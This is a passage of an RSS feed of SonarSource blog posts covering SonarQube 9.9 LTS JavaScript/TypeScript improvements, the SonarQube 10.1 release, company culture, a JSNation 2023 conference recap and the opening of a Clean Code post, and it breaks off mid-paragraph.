href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/lts/9-9-lts/&quot;&gt;SonarQube 9.9 LTS announcement.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;All of these speed boosts will ensure that you spend less time waiting and more time merging.&lt;/p&gt;&lt;h3&gt;Support for TypeScript 4.2 - 4.9&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;A new SonarQube LTS means support for new language versions, which means we’ve updated parsing to understand any new syntax and to update rules for how they apply to the new language elements.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Keeping up with the evolving TypeScript ecosystem, SonarQube 9.9 LTS now extends its support to TypeScript versions 4.2 - 4.9.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Looking for TypeScript 5 support? Look no further than &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-1/&quot;&gt;SonarQube 10.1&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;No TypeScript files left behind&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS changes its approach in determining which files to analyze in a TypeScript project.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 8.9 LTS relied on the list of files referenced in a project’s tsconfig.json file to determine which files to analyze. This worked well but wasn’t always comprehensive enough. Consider a tsconfig.json file that lists the files to analyze as:&lt;/p&gt;&lt;pre&gt;&lt;code&gt;{
  &quot;files&quot;: [&quot;root.ts&quot;]
}&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;where &lt;code&gt;root.ts&lt;/code&gt; imports another file &lt;code&gt;module.ts&lt;/code&gt;, which is not referenced in &lt;code&gt;tsconfig.json&lt;/code&gt; however it is part of the project build&lt;/p&gt;&lt;pre&gt;&lt;code&gt;import * as m from &apos;./module&apos;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now, SonarQube 9.9 LTS actually builds the TypeScript program to provide the list of files to be analyzed, meaning that module.ts will be analyzed, unlike before.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Depending on the project, more files may be analyzed. SonarQube is analyzing your project more thoroughly, ensuring no code slips through the cracks.&lt;/p&gt;&lt;h3&gt;Analyze JS/TS code embedded in AWS Lambdas&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Projects are more complicated than raw &lt;code&gt;.js&lt;/code&gt; and &lt;code&gt;.ts&lt;/code&gt; files, and sometimes JavaScript/TypeScript code ends up embedded in other files, like those which describe AWS Lambdas. SonarQube 9.9 LTS now analyses the embedded JavaScript and TypeScript code inside AWS Lambda files.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/947f50c4-739e-4111-948c-d62797980c9e/pasted%20image%200.png&quot; /&gt;&lt;p&gt;These aren’t just basic checks either but include the advanced vulnerability detection rules available in commercial editions of SonarQube. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Now you can be sure that the business-critical code in your Lambdas code can be as clean as the rest of your JavaScript and TypeScript code.&lt;/p&gt;&lt;h3&gt;Fewer False-Positives and False-Negatives&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sonar puts in a significant amount of effort to make sure only true issues are raised, and our developers are always reviewing issues raised by JavaScript and TypeScript rules to make sure they are accurate and relevant. They also receive reports from our community and through commercial support channels.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not counting all of the FPs fixed incidentally by updates to the analysis engine, there were 75 specific false-positives (and false-negatives) our developers addressed in SonarQube 9.9 LTS!&lt;/p&gt;&lt;h2&gt;New Rules&lt;/h2&gt;&lt;h3&gt;Write better unit tests&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Maintaining clean test code is just as crucial as having clean product code. High-quality test code ensures that your tests are reliable, maintainable, and easy to understand. This paves the way for more effective debugging and enables faster identification of issues in the product code, thus accelerating the development process. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you&amp;#x27;re using the Mocha or Chai frameworks to write your JavaScript/TypeScript unit tests, you’re in luck, because SonarQube 9.9 LTS adds rules specifically related to analyzing your test code. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://community.sonarsource.com/t/write-better-unit-tests-in-js-or-ts-thanks-to-a-new-set-of-rules-dedicated-to-mocha-and-chai/53578&quot;&gt;See all the rules here.&lt;/a&gt;&lt;/p&gt;&lt;h3&gt;React-Specific Rules&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;React is still the &lt;a href=&quot;https://gist.github.com/tkrotoff/b1caa4c3a185629299ec234d2314e190#file-frontendframeworkspopularity-md&quot;&gt;most popular &lt;/a&gt;JavaScript library for building user interfaces, particularly for single-page applications. React allows developers to create large web applications that can change data without reloading the page.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS ships with 7 new rules especially designed to catch React-specific bugs and code smells&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://community.sonarsource.com/t/introducing-7-new-rules-for-react-which-detect-bugs-in-js-ts-code/68813&quot;&gt;See the list of rules here.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Taking SonarQube’s support for React even further, SonarQube 9.9 LTS comes with better support for React among a number of existing rules, including a fix for one of the most hotly voted upon issues on &lt;a href=&quot;https://github.com/SonarSource/sonarjs&quot;&gt;SonarSource/SonarJS&lt;/a&gt;: &lt;a href=&quot;https://github.com/SonarSource/SonarJS/issues/2238&quot;&gt;Add exception to Cognitive Complexity for React functional components&lt;/a&gt;.&lt;/p&gt;&lt;h3&gt;Power to the Regex&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Regular expressions (regex) are sequences of symbols and characters expressing a string or pattern to be searched for within. Regex is an incredible tool to express conditions that would otherwise require many lines of code to catch the same pattern.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;While using regex is quite typical for developers these days, that does not make it easy to handle. Writing regexes is error-prone and time-consuming, and they&amp;#x27;re difficult to document well. Once they are written, identifying errors in them can be extremely difficult.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Not only are they difficult to write, but due to their size and complexity, they are often difficult to read and understand.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Consider the following regular expression that tests whether or not a string of text is written in camel case (&lt;code&gt;writtenLikeThis&lt;/code&gt;)&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const CAMEL_CASE_REG_EXP = /^[a-z]{1}([a-zA-Z0-9]{1,})$/;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This regular expression can be made simpler in two ways while functioning exactly the same: removing the meaningless quantifier &lt;code&gt;{1} &lt;/code&gt;and replacing &lt;code&gt;{1,} (&lt;/code&gt;match the previous token between &lt;code&gt;one&lt;/code&gt; and &lt;code&gt;unlimited&lt;/code&gt; times) with a simple `+` which means the exact same thing. This gives us a somewhat simpler:&lt;br/&gt;&lt;/p&gt;&lt;pre&gt;&lt;code&gt;const CAMEL_CASE_REG_EXP = /^[a-z]([a-zA-Z0-9]+)$/;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube 9.9 LTS raises issues on regular expressions like these, making it a breeze to fix up existing regular expressions and write new regular expressions with confidence.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/4fa3f947-0b10-49ef-8bfd-4fe29ba547fe/pasted%20image%200%20%281%29.png&quot; /&gt;&lt;p&gt;Let SonarQube 9.9 LTS be your guide to writing simpler, more efficient regular expressions with 19 new rules. &lt;a href=&quot;https://community.sonarsource.com/t/write-efficient-error-free-and-safe-regular-expressions-in-javascript-and-typescript/47720?u=colin&quot;&gt;See the full list of rules implemented here.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h3&gt;Enhancing AWS Infrastructure Security with rules for AWS CDK&lt;/h3&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Managing AWS infrastructure is simplified with the AWS Cloud Development Kit (AWS CDK), which combines the flexibility of a programming language with the complexity of cloud infrastructure. However, even with its robust features, security misconfigurations can occur. Such misconfigurations can pose significant risks to your infrastructure&amp;#x27;s security, leading to potential vulnerabilities.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;To address this, the latest SonarQube 9.9 LTS release introduces 20+ security rules targeted at AWS CDK code in JavaScript and TypeScript. These rules aim to bring your Infrastructure as Code (IaC) security scrutiny to the same level as your source code.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://community.sonarsource.com/t/aws-cdk-for-javascript-and-typescript-20-new-security-rules/76173&quot;&gt;Check out the full list of rules here. &lt;/a&gt;&lt;/p&gt;&lt;h2&gt;Just an upgrade away from it all&lt;/h2&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;SonarQube is made by developers, for developers. Our goal is to help all developers be able to write Clean Code. The enhancements in SonarQube 9.9 LTS reflect our ongoing commitment to providing you with an analytical tool that tackles this goal head-on.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you haven’t tried SonarQube 9.9 LTS yet, I hope you now have even more reasons to prepare this upgrade with your team. Like all SonarQube releases, this is a free version upgrade, and you can get the LTS in just a few clicks at &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/downloads/&quot;&gt;SonarQube Downloads&lt;/a&gt;. You won&amp;#x27;t just be upgrading your SonarQube instance – you&amp;#x27;ll be upgrading your entire coding experience.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Need more help getting started? Check the following resources:&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;SonarQube LTS Upgrade Checklist&lt;/a&gt;&lt;/li&gt;&lt;li&gt;Get help upgrading using the &lt;a href=&quot;https://community.sonarsource.com/c/sq/9-9-lts-upgrade/47&quot;&gt;9.9 LTS Upgrade category of the Sonar Community&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Remember, these improvements aren&amp;#x27;t just limited to SonarQube. If you&amp;#x27;re using SonarCloud, you&amp;#x27;ll find all these enhancements there too.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[SonarQube 10.1 Release]]></title><description><![CDATA[Smoother centralized access management with GitHub, multiple code variant analysis for C/C+, a big coverage boost in Java security, and more in the latest from SonarQube.]]></description><link>https://www.sonarsource.com/blog/sonarqube-10-1-release</link><guid isPermaLink="false">4a9410d6-1dad-53a0-96a1-d0dca0234eaf</guid><dc:creator><![CDATA[Kirti Joshi]]></dc:creator><pubDate>Wed, 21 Jun 2023 05:00:00 GMT</pubDate><content:encoded>&lt;p&gt;With every Sonar release, we strive to bring new enhancements, innovations, valuable feature functionality, and continuous improvement to our solution. Today, we are thrilled to announce the launch of SonarQube 10.1 which many of you are eagerly awaiting!  &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Some highlights of 10.1 include: &lt;/strong&gt;&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;strong&gt;Smoother centralized user and group management with GitHub&lt;/strong&gt;: Organizations using GitHub can now fully delegate the management of users and groups to GitHub for secure and centralized provisioning. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Multiple C/C++ code variant analysis: &lt;/strong&gt;C/C++ developers can enjoy a simplified analysis and unified view when using multiple code variants (e.g. compiler, compiler flags, platforms, etc.) for their C/C++ projects. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;Big boost in the Java security analysis coverage: &lt;/strong&gt;Find and fix more security issues in your Java code – more coverage and fewer false positives. &lt;/li&gt;&lt;li&gt;&lt;strong&gt;UX enhancements; Support for analyzing Kotlin multi-platform, plenty of new rules &lt;/strong&gt;for Python, Java, JS/TS, C#, and more! &lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Check out more details in this &lt;a href=&quot;https://www.sonarsource.com/products/sonarqube/whats-new/sonarqube-10-1/&quot;&gt;release announcement&lt;/a&gt; and our product &lt;a href=&quot;https://docs.sonarqube.org/latest/setup-and-upgrade/release-upgrade-notes/&quot;&gt;release notes&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;strong&gt;Still on an older SonarQube version? &lt;/strong&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Upgrade to SonarQube 9.9 LTS first to avail of the functionality in 10.1. Check out this helpful &lt;a href=&quot;https://www.sonarsource.com/blog/sonarqube-lts-upgrade-checklist/&quot;&gt;checklist&lt;/a&gt; for a smoother upgrade. And watch the &lt;a href=&quot;https://www.sonarsource.com/resources/webinars/ace-your-sonarqube-upgrade/&quot;&gt;on-demand LTS upgrade webinar&lt;/a&gt; that highlights a step-by-step approach and common pitfalls encountered during the upgrade. &lt;/p&gt;</content:encoded></item><item><title><![CDATA[Smarter Together: Fostering a culture of collaboration and growth at Sonar]]></title><description><![CDATA[The Sonar culture is the shared vision, mission, values, and behaviors that make up our day-to-day experience at Sonar. Our goal as an organization is that our culture will unite and motivate SonarSourcers to work and grow together and achieve company goals while creating meaningful benevolent relationships. Discover more about our Smarter Together core value in this blog post.]]></description><link>https://www.sonarsource.com/blog/smarter-together-fostering-a-culture-of-collaboration-and-growth-at-sonar</link><guid isPermaLink="false">d1702768-ad1c-5937-b51b-374ce0e784e9</guid><dc:creator><![CDATA[Marisa Davis]]></dc:creator><pubDate>Wed, 14 Jun 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Culture is truly alive at Sonar; it’s an everyday experience for every SonarSourcer. Everything we do, the challenges we pick, and the way we interact with one another is guided by our core values. One of these values is &amp;quot;Smarter Together&amp;quot; and I want to double-click on it today. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We have excellent people, we want to achieve excellent things, and we want to achieve them together. To do this, we have fully embraced the power of collective intelligence. Our work environment is highly collaborative, with minimal hierarchy. We strive to move towards our vision as quickly and effectively as possible by fostering teamwork, supporting one another and continuously seeking learning opportunities, and leveraging the diverse perspectives at hand.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;How does that translate into our daily lives as SonarSourcers? &lt;/p&gt;&lt;h2&gt;Building solutions together&lt;/h2&gt;&lt;p&gt;We believe that no one is as smart as all of us working as one. This collective energy allows us to reach a level of idea generation, problem-solving, and decision-making that is much superior to what might be achieved by isolated individual members. In other words, by freely sharing knowledge, ideas, and skills, we create a fertile discussion leading us to develop the best solutions. Collective intelligence also channels our energies into finding the best next challenge for us to focus on. Working this way doesn&amp;#x27;t mean we are looking for consensus, rather we are aiming at making the best decisions possible by listening to diverse perspectives. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;What this means concretely is that SonarSourcers take their mission seriously but do not take themselves seriously. We do serious work and know how to have fun. We rarely try to solve a problem alone. We bond through many formal and informal Sonar events. We have a high level of trust and respect toward each other which allows us to ask for help when needed and to challenge each other in building better solutions. We also promote transparency and have many opportunities to share our work through our internal forum and weekly internal demo time where anyone can showcase their work. These numerous cross-team events foster the cross-pollination of good practices and the emergence of new ideas. At the same time, they unite us as an organization.&lt;/p&gt;&lt;h2&gt;Becoming better together&lt;/h2&gt;&lt;p&gt;We learn from each other by continuously working closely together to refine our solutions, optimize our processes, and improve our teams&amp;#x27; maturity. In our day-to-day Sonar lives, we rely on a very strong and benevolent feedback culture.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Since we do not rely on hierarchical structures to be organized, it is crucial we are able to work together in a healthy, constructive, and efficient way. As such, we take responsibility for each other&amp;#x27;s growth and development. At the group level, sharing feedback allows us to identify areas that prevent smooth collaboration and make adjustments. It is also an opportunity to recognize and acknowledge actions or behaviors that have a positive impact on our interactions and output so that we can replicate them in our future instances of collaboration and continue to improve as a team.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;At Sonar, sharing feedback is a regular and natural part of our interactions. It is a vital component of our continuous improvement and we embrace it as an opportunity to learn, grow, and enhance our teamwork.&lt;/p&gt;&lt;h2&gt;Achieving more together&lt;/h2&gt;&lt;p&gt;We believe in the multiplying effect of diverse expertise, viewpoints, cultures, and behaviors. Everyone&amp;#x27;s opinion is valuable. Fresh perspectives from different backgrounds are as important as the ones from more seasoned Sonarsourcers. It is the combination of contributions that enables us to tackle complex challenges and generate innovative, meaningful solutions. By embracing diversity, we cultivate a dynamic, forward-thinking community that is always looking for new ways to improve, overcome challenges and grow, both our solutions and as an organization.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;In our lives at Sonar, this involves having honest and empathetic communication. We always try to have a high-quality equal relationship: everyone is treated with respect and listened to, regardless of tenure, age, origin, and position. SonarSourcers can be and are expected to be their true self. We also have the right to challenge anything with the intention of helping another evaluate the limits of a solution or idea or ensuring that it solves the correct problem. As valuable members of our team-based organization, SonarSourcers are responsible for voicing their opinion. At the same time, they take ownership and responsibility for their words.&lt;/p&gt;&lt;h2&gt;Growing smarter together&lt;/h2&gt;&lt;p&gt;At Sonar, we truly believe that we are Smarter Together and strive to foster a culture where everyone is encouraged to share knowledge, challenge things, and embrace diversity.&lt;/p&gt;&lt;p&gt;Our collective energy is key to developing better solutions. We also understand that we all have something to learn from each other. By embracing our diversity and treating each other equally, we create a culture of mutual respect and growth. This environment enables us to grow stronger and more effective as a team-based organization. We know that our individual strengths are amplified when we work together, and we are committed to maintaining this spirit of collaboration to achieve our vision.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;If you want to be part of our Smarter Together culture, check out our current openings &lt;a href=&quot;https://www.sonarsource.com/company/careers/&quot;&gt;here.&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[Sonar at JSNation 2023 in Amsterdam]]></title><description><![CDATA[We take a look at our highlights from JSNation 2023 in Amsterdam, including our favourite talks, memorable conversations and key takeaways.]]></description><link>https://www.sonarsource.com/blog/sonar-at-jsnation-2023-in-amsterdam</link><guid isPermaLink="false">e48e077e-2c23-501a-b7bb-cc1aa9eb0f99</guid><dc:creator><![CDATA[Gabriel Vivas]]></dc:creator><pubDate>Mon, 12 Jun 2023 22:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The iconic &lt;a href=&quot;https://jsnation.com&quot;&gt;JSNation conference&lt;/a&gt; was held in Amsterdam recently. Part of our JavaScript and TypeScript languages team went there to deliver talks and engage with the community.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Here&amp;#x27;s our recap!&lt;/p&gt;&lt;h2&gt;Sonar is a Gold Sponsor&lt;/h2&gt;&lt;p&gt;We set up our booth to engage with attendees, and had the chance to give back a bit to the community we cherish.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Sponsoring conferences is a way to cultivate the community, gather around cool topics, and share and learn from each other.&lt;/p&gt;&lt;h2&gt;Captivating talks&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/075bb147-f1c3-43d7-9e1c-7a210e07478a/image7.jpg&quot; /&gt;&lt;p&gt;All seats and hallways were taken for &lt;a href=&quot;https://twitter.com/wesbos&quot;&gt;Wes Bos&lt;/a&gt;&amp;#x27; talk about &lt;a href=&quot;https://portal.gitnation.org/contents/ai-and-web-development-hype-or-reality&quot;&gt;using AI tools for programming&lt;/a&gt;. Wes took us through an entertaining and revealing journey, from one experiment to another. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We were hooked by the tips for better prompts, and how he managed to use consumer LLM (Large Language Models) chatbots to generate metadata for a huge archive of previously untranscribed podcast episodes. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;As from our own experiments, we saw that ChatGPT and the likes can generate –almost always, mostly correct– JSON data. If you ask nicely.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9d55b0a8-cc43-45e4-b1f4-7d084f5badd1/image5.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Another captivating talk was delivered by &lt;a href=&quot;https://twitter.com/jecfish&quot;&gt;Jecelyn Yeen&lt;/a&gt;, who &lt;a href=&quot;https://portal.gitnation.org/contents/modern-web-debugging&quot;&gt;blew our minds with Chrome DevTools&lt;/a&gt;. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;It was super fun to see the crowd cheer loudly on the tiniest interaction with DevTools. Sometimes for features that were already there! An exceptionally engaging delivery made this talk top-notch.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We won’t list all of them here, but there were also great talks by &lt;a href=&quot;https://portal.gitnation.org/person/tobias_koppers&quot;&gt;Tobias Koppers&lt;/a&gt; of Webpack lore, &lt;a href=&quot;https://portal.gitnation.org/person/misko_hevery&quot;&gt;Miško Hevery&lt;/a&gt; creator of Angular, &lt;a href=&quot;https://portal.gitnation.org/person/ryan_carniato&quot;&gt;Ryan Carniato&lt;/a&gt; creator of SolidJS, &lt;a href=&quot;https://portal.gitnation.org/person/matteo_collina&quot;&gt;Matteo Collina&lt;/a&gt; whom you might know from Fastify and Node.js TSC member, and many more great speakers.&lt;/p&gt;&lt;h2&gt;Talks by SonarSourcers&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/9be60cef-ff27-4a6b-955c-dc67b5819409/image1.jpg&quot; /&gt;&lt;p&gt;Our own &lt;a href=&quot;https://twitter.com/philnash&quot;&gt;Phil Nash&lt;/a&gt;, Developer Advocate, gave a funny and informative talk about &lt;a href=&quot;https://portal.gitnation.org/contents/the-state-of-passwordless-auth-on-the-web&quot;&gt;passwordless authentication on the Web&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;He managed to have people laugh at the complexities of security when confronted with user experience, while making an argument in favor of –sometimes underappreciated– Web platform features that can really help. We are convinced that passwords are horrible and that the future lies in passkeys.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With no less panache, &lt;a href=&quot;https://portal.gitnation.org/person/elena_vilchik&quot;&gt;Elena Vilchik&lt;/a&gt;, software engineer for the languages team at Sonar, illuminated us on &lt;a href=&quot;https://portal.gitnation.org/contents/static-analysis-in-javascript-whats-easy-and-whats-hard&quot;&gt;what is easy and what is difficult in static analysis in JavaScript and TypeScript&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;She overlaid an accessible model to understand different program analysis techniques, and walked us through some examples with ESLint and Sonar rules. You might be tempted to write some rules yourself!&lt;/p&gt;&lt;h2&gt;Conversations we&amp;#x27;ll remember&lt;/h2&gt;&lt;p&gt;Conferences aren&amp;#x27;t just about the speakers; meeting and chatting with other attendees is just as important. At the Sonar booth we even live-debugged a rogue Github Action taking too long. In a split second, we were reading together through CI/CD logs, identifying what was off and suggesting solutions.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Also, we were super happy to share with OpenSource maintainers that didn&amp;#x27;t know they could use &lt;a href=&quot;https://www.sonarsource.com/products/sonarcloud/&quot;&gt;SonarCloud&lt;/a&gt; and &lt;a href=&quot;https://www.sonarsource.com/products/sonarlint/&quot;&gt;SonarLint&lt;/a&gt; for free. Special shout-out to folks from &lt;a href=&quot;https://the-guild.dev&quot;&gt;The Guild&lt;/a&gt;, who are maintaining their own &lt;a href=&quot;https://the-guild.dev/graphql/eslint/docs/getting-started&quot;&gt;GraphQL ESLint plugin&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Finally, we came back with some cool ideas for how to improve our JavaScript and TypeScript analysis. Like potentially detecting invalid HTML to avoid hindering Next.js hydration. Or adding special cases for `useRef` in a `useEffect` React hook, when there is no simple way to clean up side effects.&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/1df7c950-ebe3-4f45-898b-67ec9dadccee/image3.jpg&quot; /&gt;&lt;h2&gt;The venue&lt;/h2&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/a112d060-7d13-435a-87d5-0937739d4424/image2.png&quot; /&gt;&lt;p&gt;The conference was at the northern side of Amsterdam, we took the windy ferry from Centraal Station across the IJ river.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://kromhouthal.com/en/&quot;&gt;De Kromhouthal&lt;/a&gt;, is a huge hall, over 5000 m2, where more than 1000 attendants enjoyed interactive art installations, a fancy welcome breakfast, with barista coffee à-go-go. Oh, the coffee!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/d3fe7026-1e8d-4b14-89fa-bbf002331c15/image4.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;We enthusiastically participated in the pre-conference activities at the &lt;a href=&quot;https://oedipus.com&quot;&gt;Oedipus brewery&lt;/a&gt;, where we had the opportunity to meet various people and obtain our badges.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;Attending conferences like this provides valuable chances to connect with the community but also with open-source authors and maintainers.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;h2&gt;Takeaways&lt;/h2&gt;&lt;p&gt;We learned a lot from being there, and hopefully, we shared something back with the talks and conversations. So make sure to attend events yourself, where you can learn from insightful speakers and sponsors.&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;And keep an eye out for our presence at &lt;a href=&quot;https://www.sonarsource.com/resources/events/&quot;&gt;upcoming events&lt;/a&gt;, as we are always eager to engage with the developer community!&lt;/p&gt;&lt;img src=&quot;https://assets-eu-01.kc-usercontent.com:443/02cb980b-5a8a-016f-80ee-dce623e76463/598510bc-1aa6-4610-977c-8d5a7f90b525/image6.jpg&quot; /&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;</content:encoded></item><item><title><![CDATA[What Mr. Miyagi can teach you about writing Clean Code]]></title><description><![CDATA[Just like it's not enough to simply practice karate for Mr. Miyagi, it's not enough for Sonar to find and fix issues when guiding developers to practice Clean Code. Developers should be able to find, understand, and fix issues to write Clean Code optimally. ]]></description><link>https://www.sonarsource.com/blog/what-mr-miyagi-can-teach-about-clean-code</link><guid isPermaLink="false">6e0798d6-37b0-51a6-98f1-3d715903cd5f</guid><dc:creator><![CDATA[Liz Ryan]]></dc:creator><pubDate>Tue, 06 Jun 2023 13:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Since its release in 1984, &lt;a href=&quot;https://2de1053e.isolation.zscaler.com/profile/069f6bc6-ea57-492d-adee-1b4631dc6b88/zia-session/?controls_id=a4be8178-65ec-47ee-b364-0fbef549abcb&amp;region=was2&amp;tenant=a4e9c4ededc5&amp;user=d7faaa036b2f9b6ca8f6dacbf7daeb247f6dbf32d652de02434611254536c41e&amp;original_url=https%3A%2F%2Fwww.imdb.com%2Ftitle%2Ftt0087538%2F&amp;key=sh-1&amp;hmac=407a72420493db72d2a69d1d4aa7bd6baa47046887d24efb4ba1e6afa51257fd&quot;&gt;The Karate Kid&lt;/a&gt; has become a classic and beloved piece of cinematic history and pop culture. Its underdog theme and inspirational moments resonate with audiences, even after nearly 40 years. But what makes it distinctly memorable is the constant opposition between the two karate teachers, Mr. Miyagi and John Kreese. &lt;/p&gt;&lt;p&gt;&lt;br/&gt;&lt;/p&gt;&lt;p&gt;With two distinct and contrasting teaching styles, Mr. Miyagi is rooted in balance, discipline, and personal growth through education. At the same time, John Kreese focuses on a ruthless and combative mindset, often resorting to intimidation, fear, and harsh discipline. 